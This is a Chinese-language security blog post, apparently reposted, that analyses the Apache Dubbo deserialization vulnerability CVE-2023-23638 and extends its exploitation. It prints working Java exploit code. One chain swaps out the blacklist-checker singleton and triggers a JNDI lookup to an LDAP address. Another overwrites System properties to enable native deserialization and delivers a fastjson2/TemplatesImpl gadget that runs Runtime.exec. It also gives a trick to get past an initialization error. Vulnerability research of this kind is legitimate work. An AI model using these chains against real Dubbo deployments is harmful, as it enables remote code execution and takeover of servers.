Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
qiyuwang 2025-05-02 20:46 5 浏览 0 评论
在对Apache dubbo 的CVE-2023-23638漏洞分析的过程中,通过对师傅们对这个漏洞的学习和整理,再结合了一些新学的技巧运用,从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及遇到问题并解决问题的过程,我觉得值得分享,所以写下此文记录。
Apache Dubbo 是一款易用、高性能的WEB 和RPC 框架,同时为构建企业级微服务提供服务发现、流量治理、可观测、认证鉴权等能力、工具与最佳实践。
该漏洞核心原理是利用dubbo的泛化调用功能,反序列化任意类,从而造成反序列化攻击。这个漏洞影响Apache Dubbo 2.7.x,2.7.21及之前版本; Apache Dubbo 3.0.x 版本,3.0.13 及之前版本; Apache Dubbo 3.1.x 版本,3.1.5 及之前的版本。
在普通的Dubbo方法调用过程中,客户端需要环境中存在被调用类的接口,才能正常继续调用。泛化调用则是指在客户端在没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。 详细的泛化调用说明可以见:
https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/。
既然是泛化调用,那就代表用户可以在Dubbo服务端传入任意类。也正是因为这个功能,给Dubbo带来了一些漏洞,在CVE-2021-30179中,由于这个功能没有对传入的类做任何的限制,导致攻击者可以通过传入恶意的类,并调用其特定方法,导致代码执行。后续Dubbo在代码层面对传入的类进行了限制,从而防御攻击者传入恶意的类进行RCE,而这个防御,在CVE-2023-23638中被绕过,也就是本篇文章所要讲述的内容。
Dubbo处理泛化调用请求的核心类是
org.apache.dubbo.rpc.filter.GenericFilter,在这个filter的invoke方法中,对客户端的调用进行了判断,同时根据服务端的配置进入不同的反序列化逻辑。用户进行泛化调用时可以传入一个hashmap,当map中存在generic-raw.return这组键值对时,GenericFilter就会进入PojoUtils.realize()方法,把用户传入的类进行实例化,并对实例化后对象的属性进行赋值。
CVE-2021-30179的补丁打在了类初始化的时候:
else if (pojo instanceof Map && type != null) {
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}
通过调用
SerializeClassChecker.getInstance().validateClass((String)className);对传入的类进行黑名单过滤,过滤结束后使用ClassUtils.forName((String)className);获取类,后续会调用class.newInstance()进行类的实例化,最后通过如下代码进行对象的属性赋值:
if (value != null) {
Method method = getSetterMethod(dest.getClass(), name, value.getClass());
Field field = getField(dest.getClass(), name);
if (method != null) {
if (!method.isAccessible()) {
method.setAccessible(true);
}
Type ptype = method.getGenericParameterTypes()[0];
value = realize0(value, method.getParameterTypes()[0], ptype, history);
try {
method.invoke(dest, value);
} catch (Exception var20) {
String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name + " value " + value.getClass() + ", cause: " + var20.getMessage();
logger.error("0-8", "", "", exceptionDescription, var20);
throw new RuntimeException(exceptionDescription, var20);
}
} else if (field != null) {
value = realize0(value, field.getType(), field.getGenericType(), history);
try {
field.set(dest, value);
} catch (IllegalAccessException var19) {
throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + var19.getMessage(), var19);
}
}
}
程序会先尝试先获取类属性的set方法,如果目标类存在这个set方法,那么会利用method.invoke进行执行。如果没有set方法,那么会通过反射获取类的目标属性,然后调用field.set进行赋值。
也就是说,泛化调用对于用户提供了如下的代码执行点:
我们可以传入任意的非黑名单类,然后调用这个类的public或者private无参构造方法,然后可以调用这个生成的Object的任意set+METHOD_NAME方法,要求参数有且仅有一个,或者利用object.field.set方法对这个object的任意属性赋值。
这个漏洞存在两种利用方式,对应了dubbo提供的两种赋值的方法。
利用方式1
利用object.field.set进行利用。
Dubbo在泛化调用中,对传入类进行黑名单过滤的具体代码在
org.apache.dubbo.common.utils.PojoUtils#realize0,使用SerializeClassChecker的validateClass方法进行过滤。
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}
validateClass方法内容如下:
public boolean validateClass(String name, boolean failOnError) {
if (!this.OPEN_CHECK_CLASS) {
return true;
} else {
...
这个方法首先会对SerializeClassChecker的OPEN_CHECK_CLASS属性进行判断,如果这个属性为false,那么就不会对传入类进行检查,直接返回。再看getInstance方法:
public static SerializeClassChecker getInstance() {
if (INSTANCE == null) {
Class var0 = SerializeClassChecker.class;
synchronized(SerializeClassChecker.class) {
if (INSTANCE == null) {
INSTANCE = new SerializeClassChecker();
}
}
}
return INSTANCE;
}
这是一个典型的单例模式的写法。因此如果我们可以替换掉这个INSTANCE对象,将它的OPEN_CHECK_CLASS属性置为false,那么就可以绕过黑名单类的检查,之后就可以使用类似CVE-2021-30179的POC进行代码执行。核心代码如下:
private static Map getInstance() throws IOException {
HashMap newChecker = new HashMap();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", newChecker);
LinkedHashMap map2 = new LinkedHashMap();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap map3 = new HashMap();
map3.put("class","java.util.HashMap");
map3.put("1",map);
map3.put("2",map2);
return map3;
}
第一个newChecker,用于创建一个OPEN_CHECK_CLASS属性值为false的SerializeClassChecker的对象,第二个map,用于将newChecker传入到SerializeClassChecker的单例INSTACNE属性中。然后第三个map2,使用类似CVE-2021-30179的POC,创建一个
com.sun.rowset.JdbcRowSetImpl对象,然后dubbo会先后调用setDataSourceName和setAutoCommit,从而向我们指定的地址发起JNDI请求。需要注意这里map2需要设置为LinkedHashMap,否则在dubbo进行set调用时可能无法按照先setDataSourceName,再setAutoCommit的顺序执行。
利用方式2
利用object.set+METHOD_NAME进行利用。
dubbo在泛化调用的过程中是存在一个接口允许原生java反序列化的。但是这个接口默认不开启,同时会进行序列化的黑名单类检查。然而这个接口调用开关是可以被控制的,我们如果可以把它打开,那么这个漏洞就变成了一个原生的java反序列化漏洞,利用特定的gadget就可以RCE。可以使用
org.apache.dubbo.common.utils.ConfigUtils类,它存在一个setProperties方法,可以对PROPERTIES对象进行赋值,从而控制开关。但是我发现
org.apache.dubbo.common.utils.ConfigUtils的setProperties方法只在2.7.x版本的dubbo存在,3.0.x和3.1.x都是没有的。那有没有什么通用的方法呢?事实上,Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法,传入修改后的dubbo配置。代码如下:
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
在这之后就可以使用类似如下的代码进行原生反序列化利用
out.writeObject(getEvilObject());
HashMap attachments = new HashMap();
attachments.put("generic", "nativejava");
out.writeObject(attachments);
上述两种方法,在公开的分析文章里,都存在着一些问题。方法1中最终的Sink点是JNDI注入,需要出网。方法2中最终需要依赖特定的Gadget,在之前的Dubbo的反序列化分析文章中,大家在Gadget选择时都会使用一些三方依赖进行漏洞利用,例如Rome、CommonsBeanutils1等。那Dubbo是否存在原生的Java反序列化链呢?
在Dubbo 3.1.x的版本中,新增了对Fastjson2的支持。恰好前段时间刚好看到有师傅发了fastjson库在原生Java反序列化中的利用。结论是fastjons小于1.2.48版本是可以使用,fastjson2全版本是通杀的。利用的原理是fastjson的JSONArray或者JSONObject在调用其toString方法时,会触发其包裹对象的get+METHOD_NAME方法。因此很容易想到可以包裹一个TemplatesImpl对象,通过调用其getOutputProperties方法,从而执行任意代码。
既然已经有了方法,那实现一下试试吧。关键代码如下:
public static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},
clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new
BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);
o.writeObject(val);
return unsafeByteArrayOutputStream.toByteArray();
}
send(getProperties());
send(getObject());
程序先通过System.setProperties修改目标的序列化配置,然后再发送恶意的序列化代码,指定目标执行一个Calc.exe程序。结果程序报错了,报错如下:
程序最前面和预期的一样,成功执行了Java原生反序列化,但是在反序列化的过程中,fastjson2的JSONWriter\$Context的类初始化时,在TzdbZoneRulesProvider的构造函数中报错了,其构造函数如下:
public TzdbZoneRulesProvider() {
try {
String libDir = System.getProperty("java.home") + File.separator + "lib";
try (DataInputStream dis = new DataInputStream(
new BufferedInputStream(new FileInputStream(
new File(libDir, "tzdb.dat"))))) {
load(dis);
}
} catch (Exception ex) {
throw new ZoneRulesException("Unable to load TZDB time-zone rules", ex);
}
}
可以看到,这个构造函数中会调用System.getProperty("java.home"),拼接进文件读取路径,从而去读取jre路径下的tzdb.dat,这是一个IANA提供的TimeZone数据库,维护着最新最全的全球时区相关基础数据。由于我们在反序列化前替换掉了目标服务的System类的props对象,因此,这里System.getProperty("java.home")就会返回null,从而导致报错。
这个问题如何解决呢?通过观察调用链,以及动态调试,我找到了解决方法。通过在TzdbZoneRulesProvider类的构造函数打断点。
注意到TzdbZoneRulesProvider的初始化是被ZoneRulesProvider的类初始化调用的。ZoneRulesProvider的相关代码如下:
可以看到在ZoneRulesProvider类的static代码块中调用的new TzdbZoneRulesProvider()。static块的代码在程序被运行起来后,之后最多加载一次。因此如果可以让这个ZoneRulesProvider类在我们执行攻击前被加载一次,那么我们在执行攻击时就不会再加载这块代码,也就不会报错了。
有了这个方法,第一时间就想到,dubbo 的泛化调用可以初始化并newIntance类,并且TzdbZoneRulesProvider是ZoneRulesProvider的子类,ZoneRulesProvider在newIntance时初始化其弗雷,从而调用传ZoneRulesProvider类的static代码。基于这个想法,构造如下代码:
private static Map getInstance() throws IOException {
HashMap map = new HashMap();
map.put("class", "java.time.zone.TzdbZoneRulesProvider");
return map;
}
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
分成两步发送,最后发送序列化poc,即可完成代码执行。
- https://paper.seebug.org/2055/
- https://xz.aliyun.com/t/12333
from: https://xz.aliyun.com/t/12396
相关推荐
- PayPal严重漏洞可通过不安全的JAVA反序列化对象
-
在2015年12月,我在PayPal商业网站(manager.paypal.com)中发现了一个严重的漏洞,这个漏洞的存在,使得我可以通过不安全的JAVA反序列化对象,在PayPal的网站服务器上远程...
- 提醒:Apache Dubbo存在反序列化漏洞
-
背景:近日监测到ApacheDubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行。ApacheDubbo是一款应用广泛的高性能轻量级的JavaRPC分布式服务框架...
- 【预警通报】关于WebLogicT3存在反序列化高危漏洞的预警通报
-
近日,我中心技术支撑单位监测到WebLogicT3存在反序列化0day高危漏洞,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行。...
- Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
-
在对Apachedubbo的CVE-2023-23638漏洞分析的过程中,通过对师傅们对这个漏洞的学习和整理,再结合了一些新学的技巧运用,从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及...
- 案例|WebLogic反序列化漏洞攻击分析
-
目前网络攻击种类越来越多,黑客的攻击手段也变得层出不穷,常规的防护手段通常是对特征进行识别,一旦黑客进行绕过等操作,安全设备很难发现及防御。通过科来网络回溯分析系统可以全景还原各类异常网络行为,记录所...
- 【预警通报】关于ApacheOFBizRMI反序列化远程代码 执行高危漏洞的预警通报
-
近日,我中心技术支撑单位监测发现ApacheOFBiz官方发布安全更新,修复了一处远程代码执行漏洞。成功利用该漏洞的攻击者可造成任意代码执行,控制服务器。该漏洞编号:CVE-2021-26295,安...
- 关于OracleWebLogic wls9-async组件存在反序列化远程命令执行高危漏洞的预警通报
-
近日,国家信息安全漏洞共享平台(CNVD)公布了OracleWebLogicwls9-async反序列化远程命令执行漏洞。攻击者利用该漏洞,可在未授权的情况下远程执行命令。该漏洞安全级别为“高危”。现...
- Rust语言从入门到精通系列 - Serde序列化/反序列化模块入门指北
-
Serde是一个用于序列化和反序列化Rust数据结构的库。它支持JSON、BSON、YAML等多种格式,并且可以自定义序列化和反序列化方式。Serde的特点是代码简洁、易于使用、性能高效。...
- Java反序列化漏洞详解(java反序列化漏洞利用)
-
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详...
- 关于Oracle WebLogic Server存在反序列化远程代码执行漏洞的安全公告
-
安全公告编号:CNTA-2018-00222018年7月18日,国家信息安全漏洞共享平台(CNVD)收录了OracleWebLogicServer反序列化远程代码执行漏洞(CNVD-2018-13...
- CVE-2020-9484 Apache Tomcat反序列化漏洞浅析
-
本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484ApacheTomcat反序列化漏洞。01漏洞概述这次是因为错误配置和org.apache.catalina....
- 告别脚本小子系列丨JAVA安全(8)——反序列化利用链(下)
-
0x01前言...
- 关于WebLogic反序列化高危漏洞的紧急预警通报
-
近日,WebLogic官方发布WebLogic反序列化漏洞的紧急预警通告,利用该漏洞可造成远程代码执行并直接控制Weblogic服务器,危害极大。该漏洞编号为:CVE-2019-2890,安全级别为“...
- 高危!Fastjson反序列化漏洞风险通告
-
漏洞描述...
- 学习Vulhub的Java RMI Registry 反序列化漏洞
-
这个实验,我们先通过dnslog演示命令执行,然后通过反弹shell获得root权限。JavaRemoteMethodInvocation用于在Java中进行远程调用。RMI存在远程bind的...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- PayPal严重漏洞可通过不安全的JAVA反序列化对象
- 提醒:Apache Dubbo存在反序列化漏洞
- 【预警通报】关于WebLogicT3存在反序列化高危漏洞的预警通报
- Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
- 案例|WebLogic反序列化漏洞攻击分析
- 【预警通报】关于ApacheOFBizRMI反序列化远程代码 执行高危漏洞的预警通报
- 关于OracleWebLogic wls9-async组件存在反序列化远程命令执行高危漏洞的预警通报
- Rust语言从入门到精通系列 - Serde序列化/反序列化模块入门指北
- Java反序列化漏洞详解(java反序列化漏洞利用)
- 关于Oracle WebLogic Server存在反序列化远程代码执行漏洞的安全公告
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)